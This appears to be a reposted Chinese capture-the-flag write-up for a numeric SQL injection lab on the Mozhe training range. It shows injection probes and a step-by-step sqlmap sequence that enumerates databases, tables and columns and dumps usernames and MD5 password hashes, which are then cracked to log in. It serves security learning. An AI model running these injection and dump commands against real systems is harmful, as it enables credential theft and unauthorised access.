SQL數字型注入(mysql數據庫)


靶場:墨者學院
鏈接:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
打開靶場后,我們可以看到一個后台登陸頁面。

好像並沒有什么特別的東西。

用工具進行全站掃描,查看是否有其他頁面存在。

結果我們一共掃出了三個頁面,一個靜態頁面,兩個動態頁面。
排除靜態頁面,login.php是我們剛剛看見的后台登陸頁面,我們打開這個new_list.php看看。
結果我們可以發現,一片空白,也就是說我們在向服務器請求獲取頁面的時候,頁面沒有獲取成功,也就是差參數。
盲猜試試id=1,這個時候發現頁面正常顯示了。
猜測該注入是數字型的注入。

這個時候,我突然想起,剛剛的登陸頁面,應該有跳轉鏈接可以被點擊的。於是我回到剛剛的頁面,發現在登陸按鈕下有個消息滑動。於是我點擊了它,也到達了我們剛剛測試的這個頁面。
數字型注入的判斷規則

  1. ?id=1' 此時頁面不正常。
  2. ?id=1 and 1=1 此時頁面正常。
  3. ?id=1 and 1=2 此時頁面不正常。

當三點同時滿足的時候,判定該頁面存在數字型注入漏洞。
此時開始sql注入。
注入的結果符合上面說的情況。
開始使用sqlmap跑數據庫,數據表,字段名,以及數據。
1.爆破數據庫
Sqlmap -u "http://219.153.49.228:43414/new_list.php?id=1" --dbs

發現此時有5個數據庫。其中,mysql自帶4個數據庫。(不同的mysql版本自帶的數據庫名稱有差異)
information_schema、mysql、performance_schema、sys(或者是test)。
information_schema數據庫保存的是mysql服務器所維護下的其他數據庫信息。
mysql數據庫的作用是負責存儲數據庫的用戶、權限設置、關鍵字等mysql自己需要使用的控制和管理信息。
performance_schema數據庫主要用於收集數據庫服務器性能參數。
Sys數據庫所有的數據源來自:performance_schema。目標是把performance_schema的把復雜度降低,讓DBA能更好的閱讀這個庫里的內容。讓DBA更快的了解DB的運行情況。
也就是說,我們需要的信息就放在mozhe_Discuz_StormGroup這個人為創建的數據庫中。

2.爆破數據庫mozhe_Discuz_StormGroup下的數據表。
Sqlmap -u "http://219.153.49.228:43414/new_list.php?id=1" -D mozhe_Discuz_StormGroup --tables

此時我們可以看見有個StormGroup_member的數據表。

3.爆破數據表StormGroup_member的字段名。
Sqlmap -u "http://219.153.49.228:43414/new_list.php?id=1" -T StormGroup_member --columns

我們可以看見有4個字段名。分別是id,name,password,status。
name是用戶名,password對應該用戶名下的密碼。

4.查看數據表StormGroup_member下字段名為name和password的數據行。
Sqlmap -u "http://219.153.49.228:43414/new_list.php?id=1" -T StormGroup_member -C "name,password" --dump
輸入這行命令后,sqlmap會提示你是否要加載密碼字典,也就是說,數據庫中的密碼是被加密過的。所以我們的選擇是輸入n

此時可以看見有兩個用戶都是mozhe,一般情況下,用戶名不可能重名,也就是說有個用戶是被禁用了。另外一個能正常使用。當我們測試后,可以知道第一個用戶被禁用,第二個用戶可以正常使用。

5.密文判斷
從密碼中我們可以看見,最大的是f,也就是說,該密文的16進制數據。並且該密文的字符串長度為32,而MD5密文的特點就是,加密后為128位(bit),按照16進制(4位一個百16進制數)編碼后,就成了32個字符。所以判斷該密文是md5加密后的密文。

6.搜索在線md5解密,在解密網站上成功解出密碼,登陸后,在頁面即可看見flag。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM